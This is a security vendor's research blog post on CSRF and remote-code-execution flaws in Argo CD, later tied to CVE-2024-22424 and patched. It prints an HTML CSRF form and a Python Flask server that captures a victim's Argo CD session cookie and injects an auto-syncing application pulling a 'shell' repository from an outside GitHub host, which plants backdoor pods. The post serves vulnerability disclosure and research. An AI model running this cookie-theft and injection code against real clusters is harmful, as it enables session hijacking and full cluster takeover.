Illustration of a smiling cartoon character with headphones emerging from a hole in sandy terrain, resembling a computer vulnerability. Text reads ArgoCD Vulnerability with a subtitle about exploiting a CSRF vulnerability to take over ArgoCD and EKS clusters.

Upwind takes over ArgoCD and an EKS Cluster Using Only A Simple CSRF Vulnerability

Moshe Hassan February 06, 2024

Upwind takes over ArgoCD and an EKS Cluster Using Only A Simple CSRF Vulnerability

In recent weeks, Upwind’s research team dug into Argo CD, our research revealed two batches of vulnerabilities, specifically critical security vulnerabilities in Argo CD, including Cross-Site Request Forgery (CSRF) impacting GET, POST, and PUT requests, and Remote Code Execution (RCE) capabilities. 

These vulnerabilities opened doors to unauthorized exposure and manipulation of sensitive data within Kubernetes clusters, including stealing cookies, executing arbitrary API methods, and injecting malicious code.

In essence, with just a few straightforward maneuvers, an attacker has the potential to breach both ArgoCD and the underlying Kubernetes cluster, showcasing the simplicity yet severity of this exploit.

The vulnerabilities were discovered in a controlled lab environment comprising an EKS cluster, Argo CD deployment, a Google Cloud Compute server, and a Git repository with poisoned images. Key Vulnerabilities Uncovered in the first batch:

  1. CSRF Vulnerability: Affects every GET request in Argo CD. The CSRF vulnerability extends to POST and PUT requests when accessed through the same DNS or local host, allowing unauthorized actions on behalf of authenticated users.
  2. RCE Capability: Through the exploitation of CSRF vulnerabilities and additional techniques (MITM, subdomain hijacking, phishing, HOST file modification), an attacker can perform RCE by manipulating users to unintentionally execute malicious commands.
  3. Exposure of Sensitive Data: We demonstrated the ability to fetch sensitive data including certificates, user information, and project details. This exposure is critical, especially in clusters without Metadata (MD) service protection.
  4. Cookie Theft and API Manipulation: By running a malicious local web server and tricking a user into sending requests to it, we could capture session cookies and gain access to Argo CD’s API endpoints, leading to full control over the application’s functionalities.

PoC: CSRF – GET Exploit

Simple yet powerful. We set up a website serving pages with hidden forms linked to Argo CD, we called it the “CSRF – GET”, When users interacted with these pages, their browsers unwittingly executed GET requests to Argo CD, revealing sensitive data.
An attacker who set up a slim website for the victim could capture the return data.

Sample code of the CSRF:

<form action="https://argoCDIP/api/v1/path" method="GET" enctype="text/plain" id="csrf-token-form">
        <input type="hidden" name="name" value="moshiko" /> -->
    </form>
    <button onclick="document.getElementById('csrf-token-form').submit();">Generate Token</button>

The CSRF-GET had a significant impact on our users. We were able to expose local Kubernetes certificates, the applications, repositories, and even some unprotected secrets.

We managed to map the users and their permissions and collect every piece of data that we needed to proceed with our camping against the staging ArgoCD.

After we figured out the CSRF-GET works from anywhere, things got interesting when we realized POST, PUT, and DELETE requests were also vulnerable locally. We exploited this by gaining access to the same DNS or using tunneling via kubectl (which is a best practice). A local server or tunneled endpoint sent requests to Argo CD, capturing session cookies and granting us full API access.

We only required a single request within the internal DNS to acquire the cookie, so we simulated the attack as a silent attacker, However, the same exploit could have been executed more overtly using web pages.

We deployed a simple Flask server to inject applications and create backdoors.

def performInjection(cookie):
    url = f"http://{argocd}:{argocd_port}/api/v1/applications"
    applications = requests.get(url, cookies=cookie, verify=False)
    if applications.status_code == 200:
        applications = applications.json().get('items')
        injectedTarget = applications[-1].get('metadata').get('name')
        url = f"http://{argocd}:{argocd_port}/api/v1/applications/{injectedTarget}"
        data = {
        "apiVersion": "argoproj.io/v1alpha1",
        "kind": "Application",
        "metadata": {"name": f"{injectedTarget}"},
        "spec": {
            "destination": {"name": "", "namespace": "default", "server": "https://kubernetes.default.svc"},
            "source": {"path": ".", "repoURL": "https://github.com/moshikoHassan/shell", "targetRevision": "HEAD"},
            "project": "default",
            "syncPolicy": {"automated": {"prune": True, "selfHeal": True}}
            }
        }
        injection = requests.put(url, json=data, cookies=cookie, verify=False)

        if injection.status_code == 200: 
            print(f"DEBUG --> injection into {injectedTarget} succeed!")


@app.route('/<method>', methods=['GET'])
def serve_page(method):
    if method.lower() not in ['get', 'post', 'put']:
        return 'Invalid method', 404
    cookie = request.headers.get('Cookie')
    argocdToken = cookie.replace("argocd.token=", "")
    cookie = { "argocd.token" : argocdToken}
    performInjection(cookie)

With our newfound power, we executed every Argo CD API request, deployed privileged applications, updated existing ones, left our mark with long-lived tokens, and uploaded certificates for direct cluster access.

Upwind in Action

We promptly filed a CVE request, only to discover we weren’t the first to spot these issues. Nevertheless, we contributed our insights to the Argo team, suggesting enhanced CSRF protections and a shift from cookie to header-based authentication.

Argo released an announcement that these issues are encompassed in known CVE-2024-22424. A patch has been released, and fixes are available on versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.16.

In a real-world test against the Upwind platform using a staging environment, our exploits were detected:

  1. We got an insight into “Discovery of a New Image Repository”.
  2. Two detections about reverse shells and privileged pods we injected into the cluster were promptly flagged by Upwind.
reverse-shell-sidepane--1024x1007

Stay Tuned: Our journey into Argo CD’s depths continues with more potential vulnerabilities on the horizon.

Vulnerabilities-funnel-1024x580

References:

  1. A nod to the Calif company that first reported these vulnerabilities.
  2. Argo CD Security Advisory GHSA-92mw-q256-5vwg
  3. Upwind Advisory on Argo CD GHSA-6×43-44vm-wmx4
Contents

Further Reading

You Can't Crowdsource Your Way to a Live Adversary

You Can’t Crowdsource Your Way to a Live Adversary

Bug bounty programs were built on a single assumption: that finding a vulnerability was the hard, scarce, expensive part worth paying for. That assumption held for about a decade, then AI erased it. When anyone can point a model at your code and receive a plausible-looking finding back in seconds, a crowd of finders stops…
arrayref Supply Chain Attack

arrayref Supply Chain Attack: A One-Line Build Dependency Ran a Backdoor During cargo build

Key Takeaways Executive Summary arrayref 0.3.10 is a hijacked release of a widely used Rust utility crate that added one dependency, proc-macro1, whose build script downloaded and executed a remote binary at compile time. The release was live on crates.io for 86 minutes on August 20, 2026, alongside [email protected] and [email protected] published from the same…
Yuval_ArgoCD Research

ArgoCD repoURL XSS: How a Missing Scheme Check Becomes Cluster Takeover 

Executive Summary  This stored cross-site scripting (XSS) vulnerability in ArgoCD [versions <= 3.4.4] allows an attacker who can create or modify an Application to persist a malicious repoURL, which is subsequently executed in an administrator's browser within the Argo CD origin. Because the payload executes in the context of the administrator's authenticated session, and because…
Add the Upwind RSS Feed to Slack
Connect the Upwind RSS Feed to your Slack.
Follow the how-to here.
Threat RSS
Add the Upwind RSS Feed to Slack
Connect the Upwind RSS Feed to your Slack.
Follow the how-to here.
Main RSS